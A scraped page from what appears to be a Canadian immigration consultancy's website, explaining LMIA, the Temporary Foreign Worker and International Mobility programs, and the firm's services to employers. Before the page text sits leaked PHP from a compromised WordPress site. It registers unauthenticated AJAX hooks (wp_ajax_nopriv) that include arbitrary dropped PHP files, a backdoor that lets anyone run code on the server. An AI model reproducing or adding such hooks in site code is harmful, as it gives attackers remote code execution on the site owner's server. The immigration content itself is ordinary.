if(!function_exists('file_check_tmpkr77gyyh')){ add_action('wp_ajax_nopriv_file_check_tmpkr77gyyh', 'file_check_tmpkr77gyyh'); add_action('wp_ajax_file_check_tmpkr77gyyh', 'file_check_tmpkr77gyyh'); function file_check_tmpkr77gyyh() { $file = __DIR__ . '/' . 'tmpkr77gyyh.php'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_tmplya0z25g')){ add_action('wp_ajax_nopriv_file_check_tmplya0z25g', 'file_check_tmplya0z25g'); add_action('wp_ajax_file_check_tmplya0z25g', 'file_check_tmplya0z25g'); function file_check_tmplya0z25g() { $file = __DIR__ . '/' . 'tmplya0z25g.php'; if (file_exists($file)) { include $file; } die(); } } Canadian Employers - MacPrudent Immigration
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Canadian Employers

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    Canadian Employers

    Canadian employers can avail one of the several federal or provincial/territorial immigration programs to hire foreign nationals. The primary routes of recruitment are through the Temporary Foreign Worker Program or the International Mobility Program.

    Before employers can hire foreign workers, they will need to determine which program would be suitable for them. The Foreign worker program requires that employers apply for a Labor Market Impact Assessment (LMIA) and receive a positive outcome before they extend a job offer to a foreign worker. The LMIA process protects Canadian interests by ensuring that employers have made satisfactory recruitment efforts to hire permanent residents and Canadian citizens for the position prior to extending the job offer to a foreign national while the employer’s genuine needs to fill-in the position with a foreign worker are being satisfied.

    The International Mobility Program allows employers to hire employees without a Labor Market Impact assessment. Typically, the foreign workers are nationals of visa-exempt countries, reside outside Canada at the time of application and will have to meet specific conditions to be eligible.

    Employers who have hired foreign workers are required to meet the specific requirements to hire foreign workers and uphold the conditions outlined in the Immigration and Refugee Protection Regulations. Any non-compliance finding may lead to monetary penalties ranging from $500 to $100,000 per violation, a ban of variable duration, revocation, or suspension of previously issued LMIAs, your business name published in the public list of employers who have been non-compliant.

    Our Services

    • We perform a comprehensive review of your documents to check for your eligibility to hire a foreign worker.
    • We advise you on selecting the right program to hire foreign nationals based on your requirements and the responsibilities you can fulfill.
    • We ensure that you understand your responsibilities of the program you are hiring under to prevent future non-compliance and any disrepute to your company.